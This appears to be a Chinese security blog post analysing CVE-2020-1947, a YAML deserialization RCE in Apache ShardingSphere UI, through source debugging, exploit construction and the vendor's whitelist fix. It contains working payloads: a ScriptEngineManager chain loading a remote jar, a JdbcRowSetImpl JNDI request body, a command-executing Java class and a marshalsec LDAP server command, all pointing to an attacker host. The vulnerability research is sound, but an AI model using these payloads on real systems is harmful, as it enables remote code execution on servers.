vlambda博客
学习文章列表

【漏洞寻踪】Apache ShardingSphere RCE漏洞分析(二)

0x00写在前面

承接上文,希望将本文作为代码审计的开端,开启代码审计之旅。之前通过漏洞复现的方式确认了该漏洞的核心是YAML反序列化漏洞,本篇将从源码调试的角度详细追踪该漏洞的利用链,并对此类漏洞的挖掘方法做一些思考。

0x01源码调试

@0x01_1源码搭建

sharding-ui是node.js与Spring-boot联合构建的前后端分离的应用,建议从官网下载4.0.0版本的二进制源码。

查看源码文件夹

  • 前台项目sharding-ui-frontend(Node.js)

  • 后台项目sharding-ui-backend(Spring-boot|mvn项目)

【漏洞寻踪】Apache ShardingSphere RCE漏洞分析(二)

搭建后台。将sharding-ui-backend导入IJ等待mvn下载,完整下载依赖后运行Bootstrap这个类,看到spring-boot开启在8088端口。此类构架是spring-boot后台向前台提供微服务(API接口),因此访问到Springboot经典的白页面确定运行正常。

【漏洞寻踪】Apache ShardingSphere RCE漏洞分析(二)

搭建前台。前台使用Node.js框架,安装Node环境。注意勾选添加环境变量。进入sharding-ui-frontend/目录执行代码。运行后源码环境搭建成功。

npm install #下载依赖
npm run dev #运行

【漏洞寻踪】Apache ShardingSphere RCE漏洞分析(二)

@0x01_3断点调试

根据POC可以确定漏洞触发点在添加Schema处,查看源码定位添加功能。根据burp抓包可见添加功能调用/api/scheme接口,在控制层org.apache.shardingsphere.ui.web.controller.ShardingSchemaController类找到addSchema()方法打上断点。addSchema()处于控制层,获取前台输入执行添加操作。

【漏洞寻踪】Apache ShardingSphere RCE漏洞分析(二)

使用Debug模式运行,前台点击提交payload,程序运行至断点单步调试跟进shardingSchemaService.addSchemaConfiguration函数。

【漏洞寻踪】Apache ShardingSphere RCE漏洞分析(二)

addSchemaConfiguration中dataSourceConfiguration参数交给checkDataSourceConfiguration处理,继续跟进。

【漏洞寻踪】Apache ShardingSphere RCE漏洞分析(二)

payload被传入ConfigurationYamlConverter.loadDataSourceConfigurations()这个函数将configData转换成了一个Map,是一个将Yaml文件转换为对象的转换器,继续跟进。

【漏洞寻踪】Apache ShardingSphere RCE漏洞分析(二)

跟进YamlEngine.unmarshal()函数,发现unmarshal()代码如下:

/**
* Unmarshal YAML.
*
* @param yamlContent YAML content
* @return map from YAML
*/
public static Map<?, ?> unmarshal(final String yamlContent) {
   return Strings.isNullOrEmpty(yamlContent) ? new LinkedHashMap<>() : (Map) new Yaml().load(yamlContent);
}

//yamlContent=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.146.1:90/calc.jar"]]]]

Yaml().load()函数存在反序列化漏洞,功能是将YAML数据反序列化为对象,执行此步骤之后计算器弹出。

【漏洞寻踪】Apache ShardingSphere RCE漏洞分析(二)

@0x01_4利用链

跟踪确定漏洞触发时的调用链(gadget)。

【漏洞寻踪】Apache ShardingSphere RCE漏洞分析(二)

0x02EXP构造

确定利用点漏洞利用点后,想要构造exp需要找到一个合适的类来触发RCE此处要满足两个条件:

  1. 可以远程加载自定义EXP

  2. 整条利用链中都没有被过滤

可以在常用的几个类中找一个。

@0x02_1ScriptEngineManager类利用链

ScriptEngineManager类用于Java和JavaScript之间的调用,使用SnakeYAML反序列化工具https://github.com/artsploit/yaml-payload就是创建一个自定义类继承ScriptEngineFactory接口。

选择这个工具类的选择是和传入的payload相对应的,查看ScriptEngineManager的说明,构造函数允许远程加载一个ScriptEngineFactory接口的实现。

【漏洞寻踪】Apache ShardingSphere RCE漏洞分析(二)

构造EXP实现指定接口,在初始化函数中添加命令执行代码。

【漏洞寻踪】Apache ShardingSphere RCE漏洞分析(二)

还原YAML反序列化之后的payload为:

javax.script.ScriptEngineManager(java.net.URLClassLoader(java.net.URL("http://192.168.146.1:90/calc.jar")))

此处URLClassLoader是ClassLoader的子类,可以看出在远程加载为一个Object对象时触发了构造函数AwesomeScriptEngineFactory()实现了RCE.

@0x02_2JNDI注入利用链

除了选择特定的类,还可以选择一条常规的利用链jndi注入。协议的话可以ldap/rmi二选其一,本章选择ldap协议来实现。构造payload时,使用ldap来远程加载编译后的class文件。EXP文件可以自己写,同理在构造函数中设置命令执行,java文件编译成class文件,开启web服务供远程调用。

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ExportObject{
   public ExportObject() throws Exception {
       Process proc = Runtime.getRuntime().exec("gedit");
       BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
       StringBuffer sb = new StringBuffer();
       String line;
       while((line=br.readLine()) != "" ){
           sb.append(line).append("\n");
      }
       String result = sb.toString();
       Exception e = new Exception(result);
       throw e;
  }
   public static void main(String[] args) throws Exception{

  }
}

在java反序列化工具中选用marshalsec工具https://github.com/mbechler/marshalsec.git来启用协议,选择使用ldap协议来进行jndi注入,远程加载之前自定义的EXP。命令如下(工具下载后使用mvn编译生成的jar包在target文件夹):

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.146.1:8000/#ExportObject

构造合适的payload,触发YMAL反序列化漏洞。

{
 "name": "CVE-2020-1947",
 "ruleConfiguration": " encryptors:\n   encryptor_aes:\n     type: aes\n     props:\n       aes.key.value: 123456abc\n   encryptor_md5:\n     type: md5\n tables:\n   t_encrypt:\n     columns:\n       user_id:\n         plainColumn: user_plain\n         cipherColumn: user_cipher\n         encryptor: encryptor_aes\n       order_id:\n         cipherColumn: order_cipher\n         encryptor: encryptor_md5",
 "dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://192.168.146.1:1389/ExportObject\n autoCommit: true"

}

基于ldap协议触发的JNDI注入利用链效果图,不再赘述可参考JNDI注入(jdk版本8u181)。

两条利用链综合来看,还是ScriptEngineManager这条链更有优势。因为高版本的JDK对JNDI注入做了一些限制。而且从操作流程来说使用ScriptEngineManager类也相对简单。因此,ScriptEngineManager的选取是关键,怎样找到一个适合又简易的类来构造exp也是此类漏洞利用的关键。

0x03官方修复

通过研究厂商的修复补丁可以在漏洞未公布阶段探寻到一些蛛丝马迹,下载4.0.1源码可看到官方的修改思路。

可见官方是采用了白名单的方式修复了该漏洞,当然也没有完全写成固定的,解决思路是添加了一个过滤器类ClassFilterConstructor。可以自定义acceptClasses.相当于可以根据开发需求添加白名单类。

public final class ClassFilterConstructor extends Constructor {
   private final Collection<Class<?>> acceptClasses;

   @Override
   protected Class<?> getClassForName(final String name) throws ClassNotFoundException {
       for (Class<? extends Object> each : acceptClasses) {
           if (name.equals(each.getName())) {
               return super.getClassForName(name);
          }
      }
       throw new IllegalArgumentException(String.format("Class is not accepted: %s", name));
  }
}

YamlEngine.unmarshal利用过滤器限制YAML数据可反序列化成的对象。

在函数loadDataSourceConfigurations中调用YamlEngine.unmarshal函数限制只能反序列化YamlDataSourceConfiguration类的对象。从而修复了该漏洞。

Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data, Collections.<Class<?>>singletonList(YamlDataSourceConfiguration.class));

0x04探索与思考

通过对Apache ShardingSphere RCE漏洞的分析,可以看出输入点仍然是代码审计的基本思路和突破点。整个漏洞的发现与利用过程:从一个入口(source)通过一步步动态调试找到输入数据处理时所用到的调用链(gadget)最终确定触发漏洞的目标方法(sink)。根据对sink所处环境的分析构造出所需的exp每一步都需要深入思考当然也要对代码有一定的熟练程度;分析厂商补丁对比开源项目提交的代码也可以对未公开的漏洞进行一些了解,幸运的话也能收获自己的一枚0day或1day。

参考:

https://www.cnblogs.com/potatsoSec/p/12461330.html

https://paper.seebug.org/1150/

http://www.hackdig.com/03/hack-70034.htm